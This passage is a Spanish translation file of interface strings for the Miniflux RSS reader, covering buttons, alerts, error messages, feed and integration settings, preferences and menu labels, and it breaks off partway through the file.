    "content": "{\n    \"action.cancel\": \"Cancelar\",\n    \"action.download\": \"Descargar\",\n    \"action.edit\": \"Editar\",\n    \"action.home_screen\": \"Añadir a la pantalla principal\",\n    \"action.import\": \"Importar\",\n    \"action.login\": \"Iniciar sesión\",\n    \"action.or\": \"o\",\n    \"action.remove\": \"Eliminar\",\n    \"action.remove_feed\": \"Eliminar esta fuente\",\n    \"action.save\": \"Guardar\",\n    \"action.subscribe\": \"Suscribir\",\n    \"action.update\": \"Actualizar\",\n    \"alert.account_linked\": \"¡Tu cuenta externa ya está vinculada!\",\n    \"alert.account_unlinked\": \"¡Tu cuenta externa ya está desvinculada!\",\n    \"alert.background_feed_refresh\": \"Todos los feeds se actualizan en segundo plano. Puede continuar usando Miniflux mientras se ejecuta este proceso.\",\n    \"alert.feed_error\": \"Hay un problema con esta fuente.\",\n    \"alert.no_starred\": \"No hay marcador en este momento.\",\n    \"alert.no_category\": \"No hay categoría.\",\n    \"alert.no_category_entry\": \"No hay artículos en esta categoría.\",\n    \"alert.no_feed\": \"No tienes fuentes.\",\n    \"alert.no_feed_entry\": \"No hay artículos para esta fuente.\",\n    \"alert.no_feed_in_category\": \"No hay fuentes para esta categoría.\",\n    \"alert.no_history\": \"No hay historial en este momento.\",\n    \"alert.no_search_result\": \"No hay resultados para esta búsqueda.\",\n    \"alert.no_shared_entry\": \"No hay artículos compartidos.\",\n    \"alert.no_tag_entry\": \"No hay artículos con esta etiqueta.\",\n    \"alert.no_unread_entry\": \"No hay artículos sin leer.\",\n    \"alert.no_user\": \"Eres el único usuario.\",\n    \"alert.prefs_saved\": \"¡Las preferencias se han guardado!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Has activado demasiadas actualizaciones del feed. Espere %d minuto antes de volver a intentarlo.\",\n        \"Has activado demasiadas actualizaciones del feed. Espere %d minutos antes de volver a intentarlo.\"\n    ],\n    \"confirm.loading\": \"En progreso...\",\n    \"confirm.no\": \"no\",\n    \"confirm.question\": \"¿Estás seguro?\",\n    \"confirm.question.refresh\": \"¿Quieres forzar la actualización?\",\n    \"confirm.yes\": \"sí\",\n    \"enclosure_media_controls.seek\": \"Buscar:\",\n    \"enclosure_media_controls.seek.title\": \"Buscar %s segundos\",\n    \"enclosure_media_controls.speed\": \"Velocidad:\",\n    \"enclosure_media_controls.speed.faster\": \"Más rápido\",\n    \"enclosure_media_controls.speed.faster.title\": \"Más rápido a %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Restablecer\",\n    \"enclosure_media_controls.speed.reset.title\": \"Restablecer la velocidad a 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Despacio\",\n    \"enclosure_media_controls.speed.slower.title\": \"Más despacio a %sx\",\n    \"entry.starred.toast.off\": \"Sin estrellas\",\n    \"entry.starred.toast.on\": \"Sembrado de estrellas\",\n    \"entry.starred.toggle.off\": \"Desmarcar\",\n    \"entry.starred.toggle.on\": \"Marcar\",\n    \"entry.comments.label\": \"Comentarios\",\n    \"entry.comments.title\": \"Ver comentarios\",\n    \"entry.estimated_reading_time\": [\n        \"%d minuto de lectura\",\n        \"%d minutos de lectura\"\n    ],\n    \"entry.external_link.label\": \"Enlace externo\",\n    \"entry.save.completed\": \"¡Hecho!\",\n    \"entry.save.label\": \"Guardar\",\n    \"entry.save.title\": \"Guardar este artículo\",\n    \"entry.save.toast.completed\": \"Artículos guardados\",\n    \"entry.scraper.completed\": \"¡Hecho!\",\n    \"entry.scraper.label\": \"Descargar\",\n    \"entry.scraper.title\": \"Obtener contenido original\",\n    \"entry.share.label\": \"Compartir\",\n    \"entry.share.title\": \"Compartir este artículo\",\n    \"entry.shared_entry.label\": \"Compartir\",\n    \"entry.shared_entry.title\": \"Abrir el enlace público\",\n    \"entry.state.loading\": \"Cargando...\",\n    \"entry.state.saving\": \"Guardando...\",\n    \"entry.status.mark_as_read\": \"Marcar como leído\",\n    \"entry.status.mark_as_unread\": \"Marcar como no leído\",\n    \"entry.status.title\": \"Cambiar estado del artículo\",\n    \"entry.status.toast.read\": \"Marcado como leído\",\n    \"entry.status.toast.unread\": \"Marcado como no leído\",\n    \"entry.tags.label\": \"Etiquetas:\",\n    \"entry.tags.more_tags_label\": [\n        \"Mostrar %d etiqueta más\",\n        \"Mostrar %d etiquetas más\"\n    ],\n    \"entry.unshare.label\": \"No compartir\",\n    \"error.api_key_already_exists\": \"Esta clave API ya existe.\",\n    \"error.bad_credentials\": \"Usuario o contraseña no válido.\",\n    \"error.category_already_exists\": \"Esta categoría ya existe.\",\n    \"error.category_not_found\": \"Esta categoría no existe o no pertenece a este usuario.\",\n    \"error.database_error\": \"Error en la base de datos: %v.\",\n    \"error.different_passwords\": \"Las contraseñas no son las mismas.\",\n    \"error.duplicate_fever_username\": \"¡Ya hay alguien con el mismo nombre de usuario de Fever!\",\n    \"error.duplicate_googlereader_username\": \"¡Ya hay alguien con el mismo nombre de usuario de Google Reader!\",\n    \"error.duplicate_linked_account\": \"¡Ya hay alguien asociado a este servicio!\",\n    \"error.duplicated_feed\": \"Este feed ya existe.\",\n    \"error.empty_file\": \"Este archivo está vacío.\",\n    \"error.entries_per_page_invalid\": \"El número de artículos por página no es válido.\",\n    \"error.feed_already_exists\": \"Este feed ya existe.\",\n    \"error.feed_category_not_found\": \"Esta categoría no existe o no pertenece a este usuario.\",\n    \"error.feed_format_not_detected\": \"No se puede detectar el formato del feed: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"La regla de la lista de bloqueo no es válida.\",\n    \"error.feed_invalid_keeplist_rule\": \"La regla de mantener la lista no es válida.\",\n    \"error.feed_mandatory_fields\": \"Los campos de URL y categoría son obligatorios.\",\n    \"error.feed_not_found\": \"Este feed no existe o no pertenece a este usuario.\",\n    \"error.feed_title_not_empty\": \"El título del feed no puede estar vacío.\",\n    \"error.feed_url_not_empty\": \"La URL del feed no puede estar vacía.\",\n    \"error.fields_mandatory\": \"Todos los campos son obligatorios.\",\n    \"error.http_bad_gateway\": \"El sitio web no está disponible en este momento debido a un error en la puerta de enlace. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.\",\n    \"error.http_body_read\": \"Imposible leer el cuerpo HTTP: %v.\",\n    \"error.http_client_error\": \"Error cliente HTTP: %v.\",\n    \"error.http_empty_response\": \"La respuesta HTTP está vacía. ¿Quizás este sitio web tiene un mecanismo de protección contra bots?\",\n    \"error.http_empty_response_body\": \"El cuerpo de la respuesta HTTP está vacío.\",\n    \"error.http_forbidden\": \"El acceso a este sitio web está prohibido. ¿Quizás este sitio web tiene un mecanismo de protección contra bots?\",\n    \"error.http_gateway_timeout\": \"El sitio web no está disponible en este momento debido a un error de tiempo de espera de la puerta de enlace. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.\",\n    \"error.http_internal_server_error\": \"El sitio web no está disponible en estos momentos debido a un error del servidor. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.\",\n    \"error.http_not_authorized\": \"El acceso a este sitio web no está autorizado. Podría ser un nombre de usuario o contraseña incorrectos.\",\n    \"error.http_resource_not_found\": \"No se encuentra el recurso solicitado. Por favor, verifique la URL.\",\n    \"error.http_response_too_large\": \"La respuesta HTTP es demasiado grande. Puede aumentar el límite de tamaño de respuesta HTTP en la configuración global (requiere reiniciar el servidor).\",\n    \"error.http_service_unavailable\": \"El sitio web no está disponible en estos momentos debido a un error interno del servidor. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.\",\n    \"error.http_too_many_requests\": \"Miniflux generó demasiadas solicitudes a este sitio web. Por favor, inténtalo de nuevo más tarde o cambia la configuración de la aplicación.\",\n    \"error.http_unexpected_status_code\": \"El sitio web no está disponible en este momento debido a un código de estado HTTP inesperado: %d. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.\",\n    \"error.invalid_categories_sorting_order\": \"Orden de clasificación de categorías no válido.\",\n    \"error.invalid_default_home_page\": \"¡Página de inicio por defecto no válida!\",\n    \"error.invalid_display_mode\": \"Modo de visualización de la aplicación web no válido.\",\n    \"error.invalid_entry_direction\": \"Dirección de artículo no válida.\",\n    \"error.invalid_entry_order\": \"Orden de artículo no válido.\",\n    \"error.invalid_feed_proxy_url\": \"URL de proxy inválida.\",\n    \"error.invalid_feed_url\": \"URL de feed no válida.\",\n    \"error.invalid_gesture_nav\": \"Navegación por gestos no válida.\",\n    \"error.invalid_language\": \"Idioma no válido.\",\n    \"error.invalid_site_url\": \"URL del sitio no válida.\",\n    \"error.invalid_theme\": \"Tema no válido.\",\n    \"error.invalid_timezone\": \"Zona horaria no válida.\",\n    \"error.network_operation\": \"Miniflux no puede acceder a este sitio web debido a un error de red: %v.\",\n    \"error.network_timeout\": \"Este sitio web es demasiado lento y se agotó el tiempo de espera de la solicitud: %v\",\n    \"error.password_min_length\": \"La contraseña debería tener al menos 6 caracteres.\",\n    \"error.proxy_url_not_empty\": \"La URL del proxy no puede estar vacía.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Regla de bloqueo no válida: a la regla #%d le falta un nombre de campo válido (Opciones: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Regla de bloqueo no válida: el patrón de la regla #%d no es una expresión regular válida\",\n    \"error.settings_block_rule_regex_required\": \"Regla de bloqueo no válida: no se ha proporcionado el patrón de la regla #%d\",\n    \"error.settings_block_rule_separator_required\": \"Regla de bloqueo no válida: el patrón de la regla #%d debe estar separado por un '='\",\n    \"error.settings_invalid_domain_list\": \"Lista de dominios inválida. Por favor proporcione una lista de dominios separados por espacios.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Regla de mantenimiento no válida: a la regla #%d le falta un nombre de campo válido (Opciones: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Regla de mantenimiento no válida: el patrón de la regla #%d no es una expresión regular válida\",\n    \"error.settings_keep_rule_regex_required\": \"Regla de conservación no válida: no se ha proporcionado la regla #%d patrón\",\n    \"error.settings_keep_rule_separator_required\": \"Regla de mantenimiento no válida: el patrón de la regla #%d debe estar separado por un '='\",\n    \"error.settings_mandatory_fields\": \"Los campos de nombre de usuario, tema, idioma y zona horaria son obligatorios.\",\n    \"error.settings_media_playback_rate_range\": \"La velocidad de reproducción está fuera de rango\",\n    \"error.settings_reading_speed_is_positive\": \"Las velocidades de lectura deben ser números enteros positivos.\",\n    \"error.site_url_not_empty\": \"La URL del sitio no puede estar vacía.\",\n    \"error.subscription_not_found\": \"Incapaz de encontrar alguna fuente.\",\n    \"error.title_required\": \"El título es obligatorio.\",\n    \"error.tls_error\": \"Error de TLS: %q. Puede desactivar la verificación TLS en la configuración del feed si lo desea.\",\n    \"error.unable_to_create_api_key\": \"No se puede crear esta clave API.\",\n    \"error.unable_to_create_category\": \"Incapaz de crear esta categoría.\",\n    \"error.unable_to_create_user\": \"Incapaz de crear este usuario.\",\n    \"error.unable_to_detect_rssbridge\": \"No se puede detectar la fuente usando RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"No se puede analizar este feed: %v.\",\n    \"error.unable_to_update_category\": \"Incapaz de actualizar esta categoría.\",\n    \"error.unable_to_update_feed\": \"Incapaz de actualizar esta fuente.\",\n    \"error.unable_to_update_user\": \"Incapaz de actualizar este usuario.\",\n    \"error.unlink_account_without_password\": \"Debe definir una contraseña, de lo contrario no podrá volver a iniciar sesión.\",\n    \"error.user_already_exists\": \"Este usuario ya existe.\",\n    \"error.user_mandatory_fields\": \"El nombre de usuario es obligatorio.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token y Organization Slug son obligatorios.\",\n    \"form.api_key.label.description\": \"Etiqueta de clave API\",\n    \"form.category.hide_globally\": \"Ocultar artículos en la lista global de no leídos\",\n    \"form.category.label.title\": \"Título\",\n    \"form.feed.fieldset.general\": \"Generalidades\",\n    \"form.feed.fieldset.integration\": \"Servicios de terceros\",\n    \"form.feed.fieldset.network_settings\": \"Ajustes de red\",\n    \"form.feed.fieldset.rules\": \"Reglas\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Permitir certificados autofirmados o no válidos\",\n    \"form.feed.label.apprise_service_urls\": \"Lista separada por comas de las URL del servicio Apprise\",\n    \"form.feed.label.block_filter_entry_rules\": \"Reglas de Bloqueo de Entradas\",\n    \"form.feed.label.blocklist_rules\": \"Filtros de Bloqueo Basados en Regex\",\n    \"form.feed.label.category\": \"Categoría\",\n    \"form.feed.label.cookie\": \"Configurar las cookies\",\n    \"form.feed.label.crawler\": \"Obtener rastreador original\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Descripción\",\n    \"form.feed.label.disable_http2\": \"Deshabilite HTTP/2 para evitar huellas digitales\",\n    \"form.feed.label.disabled\": \"No actualice este feed\",\n    \"form.feed.label.feed_password\": \"Contraseña de la fuente\",\n    \"form.feed.label.feed_url\": \"URL de la fuente\",\n    \"form.feed.label.feed_username\": \"Nombre de usuario de la fuente\",\n    \"form.feed.label.fetch_via_proxy\": \"Usar el proxy configurado a nivel de la aplicación\",\n    \"form.feed.label.hide_globally\": \"Ocultar artículos en la lista global de no leídos\",\n    \"form.feed.label.ignore_http_cache\": \"Ignorar caché HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Reglas de Permitir Entradas\",\n    \"form.feed.label.keeplist_rules\": \"Filtros de Mantener Basados en Regex\",\n    \"form.feed.label.no_media_player\": \"Sin reproductor multimedia (audio/video)\",\n    \"form.feed.label.ntfy_activate\": \"Enviar entradas a ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Prioridad predeterminada a Ntfy\",\n    \"form.feed.label.ntfy_high_priority\": \"Prioridad alta a Ntfy\",\n    \"form.feed.label.ntfy_low_priority\": \"Prioridad baja a Ntfy\",\n    \"form.feed.label.ntfy_max_priority\": \"Prioridad máxima a Ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"Prioridad mínima a Ntfy\",\n    \"form.feed.label.ntfy_priority\": \"Prioridad Ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Tema Ntfy (opcional)\",\n    \"form.feed.label.proxy_url\": \"URL del Proxy\",\n    \"form.feed.label.pushover_activate\": \"Enviar artículos a pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"Prioridad predeterminada de Pushover\",\n    \"form.feed.label.pushover_high_priority\": \"Prioridad alta de Pushover\",\n    \"form.feed.label.pushover_low_priority\": \"Prioridad baja de Pushover\",\n    \"form.feed.label.pushover_max_priority\": \"Prioridad máxima de Pushover\",\n    \"form.feed.label.pushover_min_priority\": \"Prioridad mínima de Pushover\",\n    \"form.feed.label.pushover_priority\": \"Prioridad del mensaje de Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Reglas de Reescritura de Contenido\",\n    \"form.feed.label.scraper_rules\": \"Reglas de extracción de información\",\n    \"form.feed.label.site_url\": \"URL del sitio\",\n    \"form.feed.label.title\": \"Título\",\n    \"form.feed.label.urlrewrite_rules\": \"Reglas de Filtrado (Reescritura)\",\n    \"form.feed.label.user_agent\": \"Invalidar el agente de usuario predeterminado\",\n    \"form.feed.label.webhook_url\": \"Invalidar la URL del webhook\",\n    \"form.import.label.file\": \"Archivo OPML\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Enviar entradas a archive.org\",\n    \"form.integration.apprise_activate\": \"Enviar artículos a Apprise\",\n    \"form.integration.apprise_services_url\": \"Lista separada por comas de las URL del servicio Apprise\",\n    \"form.integration.apprise_url\": \"URL de la API de Apprise\",\n    \"form.integration.betula_activate\": \"Guardar artículos en Betula\",\n    \"form.integration.betula_token\": \"Token de Betula\",\n    \"form.integration.betula_url\": \"URL del servidor Betula\",\n    \"form.integration.cubox_activate\": \"Guardar artículos en Cubox\",\n    \"form.integration.cubox_api_link\": \"Enlace de la API de Cubox\",\n    \"form.integration.discord_activate\": \"Enviar artículos a Discord\",\n    \"form.integration.discord_webhook_link\": \"URL de la Webhook de Discord\",\n    \"form.integration.espial_activate\": \"Enviar artículos a Espial\",\n    \"form.integration.espial_api_key\": \"Clave de API de Espial\",\n    \"form.integration.espial_endpoint\": \"Acceso API de Espial\",\n    \"form.integration.espial_tags\": \"Etiquetas de Espial\",\n    \"form.integration.fever_activate\": \"Activar API de Fever\",\n    \"form.integration.fever_endpoint\": \"Acceso API de Fever:\",\n    \"form.integration.fever_password\": \"Contraseña de Fever\",\n    \"form.integration.fever_username\": \"Nombre de usuario de Fever\",\n    \"form.integration.googlereader_activate\": \"Activar API de Google Reader\",\n    \"form.integration.googlereader_endpoint\": \"Acceso API de Google Reader:\",\n    \"form.integration.googlereader_password\": \"Contraseña de Google Reader\",\n    \"form.integration.googlereader_username\": \"Nombre de usuario de Google Reader\",\n    \"form.integration.instapaper_activate\": \"Enviar artículos a Instapaper\",\n    \"form.integration.instapaper_password\": \"Contraseña de Instapaper\",\n    \"form.integration.instapaper_username\": \"Nombre de usuario de Instapaper\",\n    \"form.integration.karakeep_activate\": \"Enviar artículos a Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Clave de API de Karakeep\",\n    \"form.integration.karakeep_url\": \"Acceso API de Karakeep\",\n    \"form.integration.karakeep_tags\": \"Etiquetas de Karakeep\",\n    \"form.integration.linkace_activate\": \"Guardar artículos en LinkAce\",\n    \"form.integration.linkace_api_key\": \"Clave API de LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Deshabilitar la comprobación de enlace\",\n    \"form.integration.linkace_endpoint\": \"Extremo de la API de LinkAce\",\n    \"form.integration.linkace_is_private\": \"Marcar enlace como privado\",\n    \"form.integration.linkace_tags\": \"Etiquetas de LinkAce\",\n    \"form.integration.linkding_activate\": \"Enviar artículos a Linkding\",\n    \"form.integration.linkding_api_key\": \"Clave de API de Linkding\",\n    \"form.integration.linkding_bookmark\": \"Marcar marcador como no leído\",\n    \"form.integration.linkding_endpoint\": \"Acceso API de Linkding\",\n    \"form.integration.linkding_tags\": \"Etiquetas de Linkding\",\n    \"form.integration.linktaco_activate\": \"Guardar entradas en LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"Token de la API de LinkTaco\",\n    \"form.integration.linktaco_api_token_hint\": \"Obtenga su token de acceso personal en\",\n    \"form.integration.linktaco_org_slug\": \"Slug de la organización\",\n    \"form.integration.linktaco_tags\": \"Etiquetas (máx. 10, separadas por comas)\",\n    \"form.integration.linktaco_tags_hint\": \"Máximo 10 etiquetas, separadas por comas\",\n    \"form.integration.linktaco_visibility\": \"Visibilidad\",\n    \"form.integration.linktaco_visibility_public\": \"Público\",\n    \"form.integration.linktaco_visibility_private\": \"Privado\",\n    \"form.integration.linktaco_visibility_hint\": \"La visibilidad PRIVADA requiere una cuenta de pago de LinkTaco\",\n    \"form.integration.linkwarden_activate\": \"Enviar artículos a Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Clave de API de Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"URL base de Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"ID de colección de Linkwarden\",\n    \"form.integration.matrix_bot_activate\": \"Transferir nuevos artículos a Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"ID de la sala de Matrix\",\n    \"form.integration.matrix_bot_password\": \"Contraseña para el usuario de Matrix\",\n    \"form.integration.matrix_bot_url\": \"URL del servidor de Matrix\",\n    \"form.integration.matrix_bot_user\": \"Nombre de usuario para Matrix\",\n    \"form.integration.notion_activate\": \"Guardar entradas en Notion\",\n    \"form.integration.notion_page_id\": \"ID de página de Notion\",\n    \"form.integration.notion_token\": \"Token secreto de Notion\",\n    \"form.integration.ntfy_activate\": \"Enviar artículos a ntfy\",\n    \"form.integration.ntfy_api_token\": \"Token de API  de Ntfy (opcional)\",\n    \"form.integration.ntfy_icon_url\": \"URL del icono de Ntfy (opcional)\",\n    \"form.integration.ntfy_internal_links\": \"Usar enlaces internos al hacer clic (opcional)\",\n    \"form.integration.ntfy_password\": \"Contraseña de Ntfy (opcional)\",\n    \"form.integration.ntfy_topic\": \"Tema Ntfy (por defecto, si no se establece en el feed)\",\n    \"form.integration.ntfy_url\": \"URL de Ntfy (opcional, la predeterminada es ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Nombre de usuario de Ntfy (opcional)\",\n    \"form.integration.nunux_keeper_activate\": \"Enviar artículos a Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Clave de API de Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"Acceso API de Nunux Keeper\",\n    \"form.integration.omnivore_activate\": \"Enviar artículos a Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Clave de API de Omnivore\",\n    \"form.integration.omnivore_url\": \"Acceso API de Omnivore\",\n    \"form.integration.pinboard_activate\": \"Enviar artículos a Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Marcar marcador como no leído\",\n    \"form.integration.pinboard_tags\": \"Etiquetas de Pinboard\",\n    \"form.integration.pinboard_token\": \"Token de API de Pinboard\",\n    \"form.integration.pushover_activate\": \"Enviar artículos a Pushover\",\n    \"form.integration.pushover_device\": \"Dispositivo Pushover (opcional)\",\n    \"form.integration.pushover_prefix\": \"Prefijo de URL de Pushover (opcional)\",\n    \"form.integration.pushover_token\": \"Token de API de la aplicación Pushover\",\n    \"form.integration.pushover_user\": \"Clave de usuario de Pushover\",\n    \"form.integration.raindrop_activate\": \"Guardar artículos en Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"Colección ID\",\n    \"form.integration.raindrop_tags\": \"Etiquetas (separadas por comas)\",\n    \"form.integration.raindrop_token\": \"Token (prueba)\",\n    \"form.integration.readeck_activate\": \"Enviar artículos a Readeck\",\n    \"form.integration.readeck_api_key\": \"Clave de API de Readeck\",\n    \"form.integration.readeck_endpoint\": \"Acceso API de Readeck\",\n    \"form.integration.readeck_labels\": \"Etiquetas de Readeck\",\n    \"form.integration.readeck_only_url\": \"Enviar solo URL (en lugar de contenido completo)\",\n    \"form.integration.readeck_push_activate\": \"Enviar automáticamente nuevas entradas a Readeck\",\n    \"form.integration.readwise_activate\": \"Guardar artículos en Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Token de acceso a Readwise Reader\",\n    \"form.integration.readwise_api_key_link\": \"Obtener tu token de acceso a Readwise\",\n    \"form.integration.rssbridge_activate\": \"Vericar RSS-Bridge al agregar suscripciones\",\n    \"form.integration.rssbridge_token\": \"Token de autenticación de RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"URL del servidro RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Guardar artículos en Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Secreto API de Shaarli\",\n    \"form.integration.shaarli_endpoint\": \"URL de Shaarli\",\n    \"form.integration.shiori_activate\": \"Guardar artículos a Shiori\",\n    \"form.integration.shiori_endpoint\": \"Extremo de API de Shiori\",\n    \"form.integration.shiori_password\": \"Contraseña de Shiori\",\n    \"form.integration.shiori_username\": \"Nombre de usuario de Shiori\",\n    \"form.integration.slack_activate\": \"Enviar artículos a Slack\",\n    \"form.integration.slack_webhook_link\": \"URL de la Webhook de Slack\",\n    \"form.integration.telegram_bot_activate\": \"Envíe nuevos artículos al chat de Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Deshabilitar botones\",\n    \"form.integration.telegram_bot_disable_notification\": \"Deshabilitar notificación\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Deshabilitar la vista previa de la página web\",\n    \"form.integration.telegram_bot_token\": \"Token de bot\",\n    \"form.integration.telegram_chat_id\": \"ID de chat\",\n    \"form.integration.telegram_topic_id\": \"ID de tema\",\n    \"form.integration.wallabag_activate\": \"Enviar artículos a Wallabag\",\n    \"form.integration.wallabag_client_id\": \"ID de cliente de Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Secreto de cliente de Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"URL base de Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Enviar solo URL (en lugar de contenido completo)\",\n    \"form.integration.wallabag_password\": \"Contraseña de Wallabag\",\n    \"form.integration.wallabag_username\": \"Nombre de usuario de Wallabag\",\n    \"form.integration.wallabag_tags\": \"Etiquetas de Wallabag\",\n    \"form.integration.webhook_activate\": \"Habilitar Webhooks\",\n    \"form.integration.webhook_secret\": \"Secreto de Webhooks\",\n    \"form.integration.webhook_url\": \"Defecto URL de Webhook\",\n    \"form.prefs.fieldset.application_settings\": \"Ajustes de la aplicación\",\n    \"form.prefs.fieldset.authentication_settings\": \"Ajustes de la autentificación\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Ajustes globales del feed\",\n    \"form.prefs.fieldset.reader_settings\": \"Ajustes del lector\",\n    \"form.prefs.help.external_font_hosts\": \"Lista separada por espacios de hosts de fuentes externas permitidos. Por ejemplo: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Leer artículos abriendo enlaces externos\",\n    \"form.prefs.label.categories_sorting_order\": \"Clasificación por categorías\",\n    \"form.prefs.label.cjk_reading_speed\": \"Velocidad de lectura en chino, coreano y japonés (caracteres por minuto)\",\n    \"form.prefs.label.custom_css\": \"CSS personalizado\",\n    \"form.prefs.label.custom_js\": \"JavaScript personalizado\",\n    \"form.prefs.label.default_home_page\": \"Página de inicio por defecto\",\n    \"form.prefs.label.default_reading_speed\": \"Velocidad de lectura de otras lenguas (palabras por minuto)\",\n    \"form.prefs.label.display_mode\": \"Modo de visualización de aplicación web progresiva (PWA)\",\n    \"form.prefs.label.entries_per_page\": \"Artículos por página\",\n    \"form.prefs.label.entry_order\": \"Columna de clasificación de artículos\",\n    \"form.prefs.label.entry_sorting\": \"Clasificación de artículos\",\n    \"form.prefs.label.entry_swipe\": \"Habilitar deslizamiento de entrada en pantallas táctiles\",\n    \"form.prefs.label.external_font_hosts\": \"Hosts de fuentes externas\",\n    \"form.prefs.label.gesture_nav\": \"Gesto para navegar entre entradas\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Habilitar atajos de teclado\",\n    \"form.prefs.label.language\": \"Idioma\",\n    \"form.prefs.label.mark_read_manually\": \"Marcar entradas como leídas manualmente\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Marcar como leído solo cuando la reproducción de audio/video alcance el 90%% de finalización\",\n    \"form.prefs.label.mark_read_on_view\": \"Marcar automáticamente las entradas como leídas cuando se vean\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Marcar las entradas como leídas cuando se vean. Para audio/video, marcar como leído al 90%% de finalización\",\n    \"form.prefs.label.media_playback_rate\": \"Velocidad de reproducción del audio/vídeo\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Abrir enlaces externos en una nueva pestaña (agrega target=\\\"_blank\\\" a los enlaces)\",\n    \"form.prefs.label.show_reading_time\": \"Mostrar el tiempo estimado de lectura de los artículos\",\n    \"form.prefs.label.theme\": \"Tema\",\n    \"form.prefs.label.timezone\": \"Zona horaria\",\n    \"form.prefs.select.alphabetical\": \"Alfabético\",\n    \"form.prefs.select.browser\": \"Navegador\",\n    \"form.prefs.select.created_time\": \"Hora de creación del artículo\",\n    \"form.prefs.select.fullscreen\": \"Pantalla completa\",\n    \"form.prefs.select.minimal_ui\": \"Mínimo\",\n    \"form.prefs.select.none\": \"Ninguno\",\n    \"form.prefs.select.older_first\": \"Artículos antiguos primero\",\n    \"form.prefs.select.publish_time\": \"Hora de publicación del artículo\",\n    \"form.prefs.select.recent_first\": \"Artículos recientes primero\",\n    \"form.prefs.select.standalone\": \"Autónomo\",\n    \"form.prefs.select.swipe\": \"Golpe fuerte\",\n    \"form.prefs.select.tap\": \"Doble toque\",\n    \"form.prefs.select.unread_count\": \"Recuento de no leídos\",\n    \"form.submit.loading\": \"Cargando...\",\n    \"form.submit.saving\": \"Guardando...\",\n    \"form.user.label.admin\": \"Administrador\",\n    \"form.user.label.confirmation\": \"Confirmación de contraseña\",\n    \"form.user.label.password\": \"Contraseña\",\n    \"form.user.label.username\": \"Nombre de usuario\",\n    \"menu.about\": \"Acerca de\",\n    \"menu.add_feed\": \"Agregar fuente\",\n    \"menu.add_user\": \"Agregar usuario\",\n    \"menu.api_keys\": \"Claves API\",\n    \"menu.categories\": \"Categorías\",\n    \"menu.create_api_key\": \"Crear una nueva clave API\",\n    \"menu.create_category\": \"Crear una categoría\",\n    \"menu.edit_category\": \"Editar\",\n    \"menu.edit_feed\": \"Editar\",\n    \"menu.export\": \"Exportar\",\n    \"menu.feed_entries\": \"Artículos\",\n    \"menu.feeds\": \"Fuentes\",\n    \"menu.flush_history\": \"Borrar historial\",\n    \"menu.history\": \"Historial\",\n    \"menu.home_page\": \"Página de inicio\",\n    \"menu.import\": \"Importar\",\n    \"menu.integrations\": \"Integraciones\",\n    \"menu.logout\": \"Cerrar sesión\",\n    \"menu.mark_all_as_read\": \"Marcar todos como leídos\",\n    \"menu.mark_page_as_read\": \"Marcar esta página como leída\",\n    \"menu.preferences\": \"Preferencias\",\n    \"menu.refresh_all_feeds\": \"Refrescar todas las fuentes en segundo plano\",\n    \"menu.refresh_feed\": \"Refrescar\",\n    \"menu.search\": \"Buscar\",\n    \"menu.sessions\": \"Sesiones\",\n    \"menu.settings\": \"Configuración\",\n    \"menu.shared_entries\": \"Artículos compartidos\",\n    \"menu.show_all_entries\": \"Mostrar todos los artículos\",\n    \"menu.show_only_starred_entries\": \"Mostrar solo los artículos marcados con una estrella\",\n    \"menu.show_only_unread_entries\": \"Mostrar solo los artículos no leídos\",\n    \"menu.starred\": \"Marcadores\",\n    \"menu.title\": \"Menú\",\n    \"menu.unread\": \"No leídos\",\n    \"menu.users\": \"Usuarios\",\n    \"page.about.author\": \"Autor:\",\n    